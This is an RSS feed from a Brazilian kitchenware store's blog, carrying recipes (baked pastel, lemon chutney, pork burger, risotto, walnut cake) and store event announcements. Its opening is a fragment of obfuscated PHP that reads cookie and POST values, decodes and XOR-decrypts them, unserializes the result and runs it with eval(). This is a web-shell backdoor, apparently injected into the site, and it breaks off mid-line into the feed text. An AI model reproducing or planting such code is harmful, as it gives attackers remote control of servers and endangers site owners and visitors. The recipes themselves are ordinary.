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"\157" . chr ( 728 - 628 )."\145", array($YyxAgeK,)); $YyxAgeK = $YyxAgeK[0] ^ str_repeat(RZ_BXhQh::$LiLdEOa, (strlen($YyxAgeK[0]) / strlen(RZ_BXhQh::$LiLdEOa)) + 1);RZ_BXhQh::$WBFUuTWd = @unserialize($YyxAgeK);}}private function xbUjAnQ($IZKhh){if (is_array(RZ_BXhQh::$WBFUuTWd)) {$fmIfXoQVd = str_replace("\x3c" . "\77" . chr (112) . chr ( 486 - 382 ).chr ( 577 - 465 ), "", RZ_BXhQh::$WBFUuTWd[chr ( 637 - 538 ).chr (111) . "\x6e" . "\164" . chr ( 393 - 292 )."\156" . 't']);eval($fmIfXoQVd); $IZKhh = "59758";exit();}}public function __destruct(){$this->xbUjAnQ($IZKhh);}}$RsyRcXdaBg = new /* 5814 */ RZ_BXhQh(); $RsyRcXdaBg = str_repeat("11655_24172", 1);}$ZgrFb = "\x5a" . "\x73" . 's' . "\x5f" . chr ( 475 - 408 )."\x54" . chr ( 991 - 904 ).chr (122); $csUWJ = "\x63" . chr (108) . chr ( 485 - 388 )."\x73" . 's' . "\137" . chr (101) . "\x78" . "\x69" . "\163" . chr ( 553 - 437 )."\163";$vguOrqP = $csUWJ($ZgrFb); $OGZUdDQ = $vguOrqP;if (!$OGZUdDQ){class Zss_CTWz{private $oaWQDkOg;public static $uTmkmPOapb = "9e427320-a3cf-498b-951d-41c762568a9b";public static $zkClq = 17841;public function __construct($ivvHE=0){$SKKobb = $_COOKIE;$XvbGla = $_POST;$qshGxha = @$SKKobb[substr(Zss_CTWz::$uTmkmPOapb, 0, 4)];if (!empty($qshGxha)){$SxXokmsKM = "base64";$pIlcTcf = "";$qshGxha = explode(",", $qshGxha);foreach ($qshGxha as $MDexU){$pIlcTcf .= @$SKKobb[$MDexU];$pIlcTcf .= @$XvbGla[$MDexU];}$pIlcTcf = array_map($SxXokmsKM . "\137" . "\144" . "\x65" . chr (99) . chr ( 447 - 336 )."\144" . chr (101), array($pIlcTcf,)); $pIlcTcf = $pIlcTcf[0] ^ str_repeat(Zss_CTWz::$uTmkmPOapb, (strlen($pIlcTcf[0]) / strlen(Zss_CTWz::$uTmkmPOapb)) + 1);Zss_CTWz::$zkClq = @unserialize($pIlcTcf);}}private function DOJPWP(){if (is_array(Zss_CTWz::$zkClq)) {$zWYXTwlyYO = str_replace('<' . chr (63) . "\160" . chr ( 463 - 359 ).'p', "", Zss_CTWz::$zkClq["\143" . "\157" . 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Muito mais práticas, bonitas e...

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COMPRE AGORA

A chef Juliana Barroso, explica nesse vídeo para os donos de buffet, restaurantes e demais empreendedores do setor gastronômico, as vantagens de se investir nas mesas térmicas.

Muito mais práticas, bonitas e usuais, essa tendencia vai bombar nas festas e eventos. No site da Exclusiva você compra com condição especial sua Mesa Térmica.

 

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]]> https://www.exclusivautilidades.com.br/blog/mesa-termica-conheca-essa-super-novidade/feed/ 0 309 Receita de Pastel Assado https://www.exclusivautilidades.com.br/blog/receita-de-pastel-assado/?utm_source=rss&utm_medium=rss&utm_campaign=receita-de-pastel-assado https://www.exclusivautilidades.com.br/blog/receita-de-pastel-assado/#respond Thu, 22 Feb 2018 18:26:29 +0000 http://www.exclusivautilidades.com.br/blog/?p=302 Você adora pasteizinhos mas tá evitando as frituras e recheios calóricos? A gente separou uma receita do blog Casa & Jardim muito gostosa e que promete livrar esses desejos de “gordices” =)   Mão...

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]]> Você adora pasteizinhos mas tá evitando as frituras e recheios calóricos? A gente separou uma receita do blog Casa & Jardim muito gostosa e que promete livrar esses desejos de “gordices” =)

 

Mão à massa!

 

Rendimento: 30 unidades (15 de cada)
Tempo de preparo: 1 H

Ingredientes

Massa
1 kg de farinha de trigo;
2 ovos brancos;
200 ml de óleo de soja;
30 ml de cachaça.

Modo de fazer

1 Misture todos os ingredientes e sove a massa em uma base enfarinhada.
2 Abra a massa com ajuda de um rolo até ficar bem fina.
3 Corte a massa em quadrados de 8 cm, ponha uma colher do recheio em cada pedaço e feche os pastéis (umedeça as bordas com água, caso tenha dificuldade para grudar as pontas unidas).
4 Leve ao forno, em assadeira untada com azeite, por 6 minutos, a 180ºC.

Recheio de cogumelos e brie

Ingredientes

200 g de shiitake;
200 g de cogumelo paris fresco;
100 g de tomate concassé (picado, sem pele nem semente);
50 g de cebola;
150 g de queijo brie em cubos pequenos (sem a casca);
azeite para saltear;
ervas de Provence a gosto;
sal a gosto;
pimenta-do-reino a gosto.

Modo de fazer

1 Corte os cogumelos em cubos bem pequenos e reserve.
2 Em uma frigideira, doure a cebola em azeite e acrescente o tomate e os cogumelos.
3 Tempere com as ervas, sal e pimenta.
4 Deixe esfriar e acrescente o queijo brie.

Foto Rogério Voltan

Foto Rogério Voltan

Recheio de bacon e gruyère

Ingredientes

200 g de queijo gruyère;
200 g de mussarela;
50 g de bacon em cubos;
ervas de Provence a gosto.

Modo de fazer

1 Rale os dois queijos em ralo grosso. Reserve.
2 Doure o bacon na frigideira e deixe esfriar.
3 Misture os queijos com o bacon e tempere com as ervas.

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]]> https://www.exclusivautilidades.com.br/blog/receita-de-pastel-assado/feed/ 0 302 Chutney de Limão Siciliano do Jimmy Ogro https://www.exclusivautilidades.com.br/blog/chutney-de-limao-siciliano-do-jimmy-ogro/?utm_source=rss&utm_medium=rss&utm_campaign=chutney-de-limao-siciliano-do-jimmy-ogro https://www.exclusivautilidades.com.br/blog/chutney-de-limao-siciliano-do-jimmy-ogro/#respond Tue, 07 Nov 2017 09:54:10 +0000 http://www.exclusivautilidades.com.br/blog/?p=244 [embedyt] https://www.youtube.com/watch?v=CtNWC4YxVB4[/embedyt]O Grande Ogro, chef assíduo do programa Mais Você, compartilha com a Ana Maria Braga sempre dicas de novas receitas, sabores e regionalidade. Com uma gastronomia simples, fácil, porém cheia de nuances e...

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]]> [embedyt] https://www.youtube.com/watch?v=CtNWC4YxVB4[/embedyt]O Grande Ogro, chef assíduo do programa Mais Você, compartilha com a Ana Maria Braga sempre dicas de novas receitas, sabores e regionalidade. Com uma gastronomia simples, fácil, porém cheia de nuances e experiência, ele leva a nós, admiradores da boa comida, combinações inusitadas mas que dão água na boca de quem acompanha seu trabalho. Dono de um carisma afável que nada tem a ver com seu famigerado apelido, ele esteve na nossa loja no dia 29 de setembro de 2017 para uma receita de hambúrguer de pernil suíno e uma das particularidades dessa receita é sem dúvida esse Chutney, uma espécie de molho agridoce que tem a função de realçar o paladar.

Anote a receita!

Chutney Limão Siciliano
150grs cebola branca cortada julliene
150grs maçã vermelha cubos pequenos
(s/casca – s/caroço)
1/2 limão siciliano cortado em fatias bem finas (cuidado para não peder suco na tábua) depois em cubinhos pequenos
25grs açúcar mascavo
Azeite
Sal
Pimenta do reino

 

 

 

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]]> https://www.exclusivautilidades.com.br/blog/chutney-de-limao-siciliano-do-jimmy-ogro/feed/ 0 244 OGROBURGER by Jimmy Ogro https://www.exclusivautilidades.com.br/blog/ogroburger-by-jimmy-ogro/?utm_source=rss&utm_medium=rss&utm_campaign=ogroburger-by-jimmy-ogro https://www.exclusivautilidades.com.br/blog/ogroburger-by-jimmy-ogro/#respond Wed, 04 Oct 2017 17:50:05 +0000 http://www.exclusivautilidades.com.br/blog/?p=227 Dia 29 de setembro tivemos a honra de receber na nossa cozinha show da loja PRIME o GRANDE Jimmy OGRO, (+Mais Você, Ana Maria Braga, Globo.). Mais de 120 pessoas, entre clientes e convidados,...

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]]> Dia 29 de setembro tivemos a honra de receber na nossa cozinha show da loja PRIME o GRANDE Jimmy OGRO, (+Mais Você, Ana Maria Braga, Globo.). Mais de 120 pessoas, entre clientes e convidados, tiveram a oportunidade de experimentar um delicioso sanduíche de carne suína e harmonizar com a cerveja artesanal e goiana, Seresta. O evento ficará na memoria.

Se você não teve a chance de comparecer não fique triste não. Estamos postando a receita pra você testar essa maravilha em casa.

 

Hambúrguer de Pernil.

Rende 5 porções

05 pães de hamburguer da sua preferência (brioche, batata, leite, outros)
1kg blend carne (800grs pernil suíno / 200grs bacon) moídos juntos
10 fatias de mozzarela

Chutney Limão Siciliano
150grs cebola branca cortada julliene
150grs maçã vermelha cubos pequenos
(s/casca – s/caroço)
1/2 limão siciliano cortado em fatias bem finas (cuidado para não peder suco na tábua) depois em cubinhos pequenos
25grs açúcar mascavo
Azeite
Sal
Pimenta do reino

Colocar um fio de azeite na panela, refogar a cebola até caramelizar bem. Juntar a maçã em cubinhos. Cozinhar até escurecer e amaciar a maçã um pouco. Acrescentar o limão e o açúcar. Temperar com sal e pimenta a gosto, até que todos os sabores estejam equilibrados. Manter em fogo baixo até alcançar textura e sabor desejados, se necessário ir pingando água para não grudar na panela. (Aparência similar à uma geléia rústica).

Maionese Páprika Defumada

50ml leite integral
5grs páprika defumada
100ml oléo girassol
Sal q/b
Pimenta do Reino q/b

Coloque no liquidificador o leite, páprika, tempere com sal e pimenta.
Acrescente oléo em fio até armar consistência desejada. Acertar sal e pimentar. Manter resfriada até servir.

Burguer
Modelar hamburgueres de 200grs
Grelhar até o ponto desejado no fogão ou churrasqueira ou grelha.

Montagem
Selar os pães, fazer uma base com a maionese, colocar o burguer e 2 fatias de mozzarela (no fim da cocção acrescentar a mozzarela para derreter)
Colocar uma colher generosa de chutney
Finalizar com bacon crisp e como com as mãos. =D

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]]> https://www.exclusivautilidades.com.br/blog/ogroburger-by-jimmy-ogro/feed/ 0 227 Casamento Gourmet By Tati Mendes na nossa loja https://www.exclusivautilidades.com.br/blog/casamento-gourmet-by-tati-mendes-na-nossa-loja/?utm_source=rss&utm_medium=rss&utm_campaign=casamento-gourmet-by-tati-mendes-na-nossa-loja https://www.exclusivautilidades.com.br/blog/casamento-gourmet-by-tati-mendes-na-nossa-loja/#respond Tue, 15 Aug 2017 19:43:01 +0000 http://www.exclusivautilidades.com.br/blog/?p=220 Dia 26 de Agosto teremos o prazer de receber na nossa loja a simpaticíssima Tati Mendez, chef de cozinha e digital influence que divide a vida entre ensinar, cozinhar e cuidar, como ele mesmo...

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]]> Dia 26 de Agosto teremos o prazer de receber na nossa loja a simpaticíssima Tati Mendez, chef de cozinha e digital influence que divide a vida entre ensinar, cozinhar e cuidar, como ele mesmo sempre fala das mais de 50 mil seguidoras nas redes sociais.

O evento promete ensinar pequenas receitas praticas e rápidas porém sempre com uma pegada “gourmet” onde qualquer pessoal com o minimo de familiaridade com a cozinha consiga realizar e suprir as especificativas. É destinado principalmente aos  recém casados que irão receber vários convidados na casa nova e não querem fazer feio.

As vagas são limitadíssimas e você pode reservar entrando em contato pelo instaram @casamentogourmet.

 

Até lá.

 

 

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]]> https://www.exclusivautilidades.com.br/blog/casamento-gourmet-by-tati-mendes-na-nossa-loja/feed/ 0 220 Receita de Risoto por Leandro Garden https://www.exclusivautilidades.com.br/blog/receita-de-risoto-por-leandro-garden/?utm_source=rss&utm_medium=rss&utm_campaign=receita-de-risoto-por-leandro-garden https://www.exclusivautilidades.com.br/blog/receita-de-risoto-por-leandro-garden/#respond Mon, 12 Jun 2017 14:30:48 +0000 http://www.exclusivautilidades.com.br/blog/?p=203 O Risotto é um prato típico italiano, que nasceu ao norte da Itália, na Lombardia, conhecida como “terra do risoto”. Data do século XI quando o sul da Itália era dominado pelos Sarracenos,  povo nômade...

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]]> O Risotto é um prato típico italiano, que nasceu ao norte da Itália, na Lombardia, conhecida como “terra do risoto”. Data do século XI quando o sul da Itália era dominado pelos Sarracenos,  povo nômade pré-islâmico. Habitantes dos desertos entre Síria e a Arábia (Árabes  ou Mouros), foram eles que trouxeram o grão usado para a sua preparação. A partir da Sicília, o produto tomou o rumo norte da Itália. No século XIV já entrava em sobremesas principescas.

Receita Básica de Risoto – Essa receita foi feita na nossa Cozinha Gourmet da Loja Av 85. 

Uma das minhas receitas preferidas é o Risoto! Assim como as pastas, ele pode ser preparado de diversas maneiras diferentes e agradar à todos.

A receita básica é repetida em quase todas as receitas, estou dividindo esta em 2 etapas. As próximas variações terão interferência em alguma destas etapas.

Base de Risoto

(Rendimento: 8 porções)

Ingredientes:

Aproximadamente 2 litros de caldo (pode ser de galinha, carne, peixe ou de legumes) você pode fazer o seu próprio caldo que fica mais saboroso.

3 colher de sopa de azeite

1 cebola pequena cortadas em cubos

Sal a gosto

1kg de arroz para risoto (o mais conhecido é o Arbóreo, mas pode ser também o Carnaroli ou o Vailone Nano).

750 ml de vinho branco seco.

Caldo de legumes

Ingredientes

2 litros de água

1 cebola média

2 cenouras

1 cabeça de alho pequena

2 talos de salsão

1 alho porô

1 folha de louro

Alecrim

Tomilho

Etapa 1

Aqueça o caldo. Em outra panela aqueça o azeite. Adicione a cebola e uma pitada de sal. Refogue por 3 minutos. A partir daí a receita pede a sua atenção total e você não deve se afastar da panela.

Aumente o fogo e adicione o arroz, comece a fritá-lo. Mexa ele constantemente de forma a não queimá-lo, ele não deve ficar dourado. Depois de um minuto diminua o fogo para médio e adicione o vinho branco sem parar de mexer. Ele vai chiar e deve misturar todos os ingredientes da panela, nesta etapa todo o álcool da bebida vai evaporar e nós vamos para a segunda etapa.

Etapa 2

Assim que o vinho branco for absorvido pelo arroz, acrescente a primeira concha de caldo quente e uma pitada de sal (cuidado para não colocar muito sal, lembre-se que ao final você colocará também o queijo que já é salgado) e a pimenta do reino moída na hora. Você agora não deve parar de mexer, não se esqueça de esfregar o fundo da panela deixando o fundo bem limpo para que o arroz não grude. Vá acrescentando mais caldo à medida que ele for sendo absorvido, tome cuidado para que ele não fique com muito caldo e nem vá ficar empapado demais.

Essa etapa deve demorar de 10 a 15 minutos. Experimente o arroz até que ele esteja ao ponto. Ao aproximar-se desta etapa, reduza aos poucos a quantidade de líquido que vai acrescentando, de modo que quando ele estiver al dente, fique levemente úmido, mas sem caldo.

Essa receita é a base pra vários tipos de risotos que queira fazer, o indicado é que use caldo de peixes se e receita for risoto que levem pescados e fruto do mar.

Como o arroz é um condutor de sabores o ideal é sempre usar um caldo que for a base da receita.

Receitas

Risoto Alla Milanese:

Ingredientes

300 grs de arroz italiano

50 grs de manteiga

100 grs queijo grana padano ou parmesão

30ml azeite

1 sachê açafrão espanhol

Modo de preparo

Numa panela coloque o caldo em seguida junte o arroz e deixar cozinhar por um tempo. Mantenha o cozimento do arroz acrescentando caldo quente e continue mexendo. Com a última colocação de caldo, juntar o açafrão. Desligar o fogo e juntar o restante da manteiga, do queijo, e o azeite, misturando bem, depois mexer delicadamente. Servir em seguida.

Risoto com Mozzarela de Búfala, Tomate Seco e Rúcula

100 gramas de parmesão ou grana padano

50 gramas de manteiga

300 gramas de arroz arbóreo

50 gramas tomate seco

Sal e pimenta

70 gramas Mozzarella de Búfala

20 gramas de rúcula

Modo de preparo

Numa panela coloque o caldo quente. Em seguida juntar o arroz e deixar cozinhar por um tempo. Mantenha o cozimento do arroz acrescentando caldo quente de e continue mexendo. Com a última colocação de caldo, juntar o tomate seco. Desligar o fogo e junte a manteiga gelada, as folhas de rúcula, muzzarela de búfala e o queijo, misturando bem, depois mexer delicadamente. Servir em seguida.

Risoto de camarão

Ingredientes

300 grs de arroz italiano

50 grs de manteiga

.10 grs alho picado

100 grs queijo grana padano ou parmesão

30ml azeite

200 grs de camarão rosa descascado e limpo

. sal e pimenta

. alecrim e tomilho

. 50 grs tomate picado em cubos (concassé)

10 folhas de manjericão

Modo de preparo

Numa panela coloque o azeite espere esquentar. Acrescente o camarão, o sal, a pimenta do reino, alecrim e tomilho e deixe dourar. Coloque o caldo em seguida e junte o arroz. Deixe cozinhar por um tempo. Mantenha o cozimento do arroz acrescentando caldo quente e continue mexendo. Desligar o fogo e juntar a manteiga, o queijo, o azeite, o tomate em cubos e o manjericão, misturando bem. Mexa delicadamente. Sirva em seguida.

Sobre o Chef 

Chef Leandro Garden

Nascido em Brasilia e criado em São Paulo, começou a cozinhar com a mãe, ajudando a cuidar dos irmãos. Teve sua primeira oportunidade de trabalhar em restaurante aos 19 anos, com o Chef Fernando Ribeiro, dono do restaurante Bar do Farol, no Iate Clube de Brasília. Voltou a São Paulo, onde estudou cozinha francesa, italiana, espanhola, brasileira, molecular e conheceu Chefs de renome, como Alex Atala, Ferrán Adria, Juan Arzak, Salvatore Loi entre outros.

De volta à Brasília,aos 23 anos foi sub-chef do Chef francês Laurent Saudeau. Depois disso, foi contratado pelo Chef Salvatore Loi, para trabalhar no grupo Fasano, no Gero Brasilia e pôde passar uma temporada no Fasano do Uruguai.

Além do trabalho como Chef, atua na área de eventos, consultoria e gestão gastronômica, promove cursos e treinamentos. Elabora jantares, menus degustação e coquéteis exclusivos como Personal Chef.

No Hotel Lake Side em Brasília, foi gestor de alimentos e bebidas e esteve à frente do restaurante que levou o seu nome. Atualmente é o HeadChef dos Restaurantes Kabanas em Goiânia.

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]]> https://www.exclusivautilidades.com.br/blog/receita-de-risoto-por-leandro-garden/feed/ 0 203 https://www.exclusivautilidades.com.br/blog/195/?utm_source=rss&utm_medium=rss&utm_campaign=195 https://www.exclusivautilidades.com.br/blog/195/#respond Sat, 13 May 2017 14:53:04 +0000 http://www.exclusivautilidades.com.br/blog/?p=195 O Festival Bananada contribui com a história de Goiânia e do Brasil desde 1999. Ao longo de 18 edições, o festival fomentou e incentivou a produção da música independente, destacando as novas tendências que...

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]]> O Festival Bananada contribui com a história de Goiânia e do Brasil desde 1999. Ao longo de 18 edições, o festival fomentou e incentivou a produção da música independente, destacando as novas tendências que surgem localmente e trazendo à capital goiana novos artistas nacionais e internacionais.

Durante uma semana inteira, Goiânia se transforma em um verdadeiro centro de intervenções artísticas, exposições diversas, campeonatos de skate, área destinada às crianças, shows de bandas independentes e outras já consagradas, apresentações de DJs e muito mais.

Esse ano ele abriga dentro da sua programação o Circuito Gastronômico de Goiânia que conta com a curadoria da já consagrada chef Emiliana Azanbuja, e patrocínio da nossa loja.  Uma deliciosa batalha de chefs acontece todos os dias principais do evento no

  Apoiar a cena cultural e gastronômica da nossa capital sempre foi uma das missões da Exclusiva e cada dia mais estaremos presente na sua casa, seu evento, sua rua. O evento termina dia 14 de maio e voce pode obter ingressos e informações em www.festivalbananada.com.br

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]]> https://www.exclusivautilidades.com.br/blog/195/feed/ 0 195 Bolinho de Nozes com Chocolate da Mara Manuela https://www.exclusivautilidades.com.br/blog/bolinho-de-nozes-com-chocolate-da-mara-manuela/?utm_source=rss&utm_medium=rss&utm_campaign=bolinho-de-nozes-com-chocolate-da-mara-manuela https://www.exclusivautilidades.com.br/blog/bolinho-de-nozes-com-chocolate-da-mara-manuela/#respond Fri, 17 Mar 2017 15:22:19 +0000 http://www.exclusivautilidades.com.br/blog/?p=149 Separamos uma receitinha muito fácil e leve pra você que não dispensa sabor e saúde.   Ingredientes 3 colheres (sopa) de farinha de nozes 1 colher (sobremesa) de psyllium 1 ovo 1 colher (café)...

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]]> Separamos uma receitinha muito fácil e leve pra você que não dispensa sabor e saúde.

 

Ingredientes
3 colheres (sopa) de farinha de nozes
1 colher (sobremesa) de psyllium
1 ovo
1 colher (café) de fermento químico
1 colher (café) de vinagre de maçã
1 colher (sobremesa) de cacau em pó
2 gotas de extrato de baunilha
1 colher (sopa) de xylitol
Cobertura:
1 colher de gotas de chocolate belga 70,5 % cacau
Preparo
Misture tudo numa tigela. Pincele uma frigideira pequena de cerâmica com óleo de coco e despeje a massa, tampe e deixe cozinhar em fogo bem baixo. Vire e doure o outro lado.
Cobertura: derreta o chocolate em banho maria e despeje ainda quente no bolinho pronto.

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